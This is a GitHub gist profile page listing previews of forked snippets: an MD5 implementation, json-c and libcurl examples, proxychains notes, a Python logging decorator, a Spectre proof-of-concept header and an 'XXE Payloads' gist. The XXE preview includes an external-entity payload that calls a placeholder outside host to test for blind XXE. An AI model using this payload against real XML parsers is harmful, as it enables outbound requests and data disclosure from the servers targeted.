Skip to content

Instantly share code, notes, and snippets.

View raminfp's full-sized avatar
✔️
Verified

Ramin Farajpour Cami raminfp

✔️
Verified
View GitHub Profile
@raminfp
raminfp / md5.c
Created July 31, 2017 07:17 — forked from creationix/md5.c
/*
* Simple MD5 implementation
*
* Compile with: gcc -o md5 -O3 -lm md5.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
@raminfp
raminfp / json_parser.c
Created August 1, 2017 05:35 — forked from alan-mushi/json_parser.c
Examples for the json-c tutorial.
/*
* A simple example of json string parsing with json-c.
*
* clang -Wall -g -I/usr/include/json-c/ -o json_parser json_parser.c -ljson-c
*/
#include <json.h>
#include <stdio.h>
int main() {
struct json_object *jobj;
@raminfp
raminfp / curltest.c
Last active June 26, 2021 19:35 — forked from aaronhurt/curltest.c
example code using libcurl and json-c to post and parse a return from http://jsonplaceholder.typicode.com
/**
* example C code using libcurl and json-c
* to post and return a payload using
* http://jsonplaceholder.typicode.com
*
* Requirements:
*
* json-c - https://github.com/json-c/json-c
* libcurl - http://curl.haxx.se/libcurl/c
*
@raminfp
raminfp / XXE_payloads
Created August 11, 2017 03:19 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@raminfp
raminfp / spectre.c
Created January 5, 2018 06:34 — forked from rootkea/spectre.c
PoC from Spectre Attacks: Exploiting Speculative Execution (https://spectreattack.com/spectre.pdf)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@raminfp
raminfp / using-wget-with-socks-proxy
Created October 22, 2022 07:38 — forked from ekiara/using-wget-with-socks-proxy
Using wget with socks proxy
# using-wget-with-socks-proxy
# This should work for everything includeing curl, pip, pipenv, etc
# TLDR: Use proxychains (https://github.com/haad/proxychains)
## INSTALL PROXY CHAINS ##
$ sudo apt update -y
$ sudo apt install proxychains
## EDIT PROXYCHAINS CONFIG ##
@raminfp
raminfp / exception.py
Created November 10, 2024 13:50 — forked from mthri/exception.py
Python Decorator for Exception Logging and Telegram Notifications
from functools import wraps
import logging
import time
import requests
logger = logging.getLogger(__name__)
TELEGRAM_NOTIFICATION_BOT = 'YOUR_TELEGRAM_NOTIFICATION_BOT'
TELEGRAM_NOTIFICATION_CHANNEL_ID = 'YOUR_TELEGRAM_NOTIFICATION_CHANNEL_ID'